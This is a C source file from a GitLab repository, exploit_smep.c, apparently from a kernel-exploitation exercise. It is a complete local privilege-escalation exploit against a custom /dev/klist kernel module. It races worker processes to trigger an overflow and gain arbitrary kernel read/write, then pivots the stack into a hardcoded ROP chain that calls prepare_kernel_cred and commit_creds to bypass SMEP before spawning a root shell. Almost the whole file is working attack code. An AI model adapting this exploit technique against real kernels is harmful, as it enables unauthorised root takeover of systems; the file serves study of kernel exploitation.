Skip to content
Snippets Groups Projects
Select Git revision
  • 8993ad02303afad7fdfed4302cb1bf689431f4bf
  • master default protected
2 results

exploit_smep.c

Blame
  • Werner Sembach's avatar
    Werner Sembach authored
    8993ad02
    History
    exploit_smep.c 4.63 KiB
    #include <stdio.h>
    #include <fcntl.h>
    #include <stropts.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <limits.h>
    #include <signal.h>
    #include <errno.h>
    #include <sys/mman.h>
    #include <stdint.h>
    
    #define LIST_CMD 0x1337
    #define LIST_ADD (LIST_CMD + 0)
    #define LIST_INSERT (LIST_CMD + 1)
    #define LIST_SET (LIST_CMD + 2)
    #define LIST_GET (LIST_CMD + 3)
    #define LIST_DELETE (LIST_CMD + 4)
    
    // https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-2)/
    uint64_t user_cs, user_ss, user_rflags;
    
    static void save_state() {
            asm(
            "movq %%cs, %0\n"
            "movq %%ss, %1\n"
            "pushfq\n"
            "popq %2\n"
            : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
    }
    
    #define WORKERS 2
    
    struct index_val_t {
        unsigned long index;
        long value;
    };
    
    pid_t pids[WORKERS];
    
    const unsigned char shellcode[13] = {
        0x31, 0xc0, 0xe8, 0xcc,
        0x6c, 0x07, 0x81, 0xe8,
        0x5c, 0x69, 0x07, 0x81,
        0xc3
    };
    
    void insert_worker() {
        int fd = open("/dev/klist", O_RDWR);
        struct index_val_t tmp;
        
        tmp.index = 0;
        tmp.value = 0x1337;
        while (1) {
            ioctl(fd, LIST_INSERT, &tmp);
        }
    }
    
    void trigger() {
        int fd = open("/dev/klist", O_RDWR);
        struct index_val_t tmp;
        
        printf("Testing legal write\n");
        tmp.index = 0x3ff;
        tmp.value = 0x1337;
        if (!ioctl(fd, LIST_SET, &tmp)) {
            printf("Legal write successfull\n");
        }
        else {
            printf("Legal write failed\n");
        }
        
        printf("Trying repeated illegal writes\n");
        tmp.index = 0x400;
        tmp.value = 0x401;
        for (;;) {
            if (!ioctl(fd, LIST_SET, &tmp)) {
                for (int i = 0; i < WORKERS; ++i) {
                    kill(pids[i], SIGKILL);
                }
                printf("Arbitrary read/write prepared\n");
                break;
            }
            else {
                ioctl(fd, LIST_DELETE, 0);
            }
        }
        
        sleep(1);
        
        tmp.index = 0x400;
        tmp.value = 0xffffffffffffffff;
        if (!ioctl(fd, LIST_SET, &tmp)) {
            printf("Arbitrary read/write ready\n");
        }
        else {
            printf("Arbitrary read/write failed\n");
            close(fd);
            exit(0);
        }
        
        close(fd);
    }
    
    void run_shell() {
        if (!getuid()) {
            printf("Got root!\n");
            
            execl("/bin/sh", "/bin/sh", (char*) NULL);
            
            //execl does not return on success so this should not be reached
            perror("execl failed");
            exit(EXIT_FAILURE);
        }
        
        printf("Failed to get root\n");
        exit(EXIT_FAILURE);
    }
    
    int main() {
        //prepare rop
        uint64_t *rop = mmap((void *)0x0000000001428000, 0x00002000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0) + 0x0000000000000dd2;
        if (rop == MAP_FAILED) {
            printf("mmap failed\n");
            return EXIT_FAILURE;
        }
        
        void *new_stack = mmap((void *)0x30000000, 0x10000000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
        if (rop == MAP_FAILED) {
            printf("mmap failed\n");
            return EXIT_FAILURE;
        }
        
        save_state();
        rop[0] = 0xffffffff8109d14d; // 0xffffffff8109d14d : pop rdi ; ret
        rop[1] = 0x0000000000000000; // NULL
        rop[2] = 0xffffffff81076cd0; // prepare_kernel_cred()
        rop[3] = 0xffffffff81085d32; // 0xffffffff81085d32 : pop rdx ; ret
        rop[4] = 0xffffffff81076961; // commit_creds() + 1 instruction
        rop[5] = 0xffffffff810ad496; // 0xffffffff810ad496 : mov rdi, rax ; call rdx
        rop[6] = 0xffffffff819515c1; // 0xffffffff819515c1 : swapgs ; ret
        rop[7] = 0xffffffff810210a6; // iretq (objdump -j .text -d vmlinux | grep iretq | head -1)
        rop[8] = (uint64_t)run_shell;
        rop[9] = user_cs;
        rop[10] = user_rflags;
        rop[11] = (uint64_t)(new_stack+0x05000000);
        rop[12] = user_ss;
        
        //exploit list.ko
        int fd = open("/dev/klist", O_RDWR);
        struct index_val_t tmp;
        
        printf("Create insert_worker\n");
        for (int i = 0; i < WORKERS; ++i) {
            pids[i] = fork();
            if (!pids[i]) {
                insert_worker();
            }
        }
        printf("Create insert_worker finished\n");
        
        trigger(); //trigger overflow
        
        printf("Load shellcode\n");
        tmp.index = 0x2000000000000000 - 0x74;
        tmp.value = 0xffffffff81064150; // 0xffffffff81064150 : mov esp, 0x1428dd2 ; ret
        if (!ioctl(fd, LIST_SET, &tmp)) {
            printf("Shellcode ready\n");
        }
        
        close(fd);
        
        //update state
        save_state();
        rop[9] = user_cs;
        rop[10] = user_rflags;
        rop[12] = user_ss;
        
        fd = open("/dev/klist", 0); // trigger shellcode, should not return
        
        printf("Shellcode not triggered, execution failed.\n");
        close(fd);
        
        return EXIT_FAILURE;
    }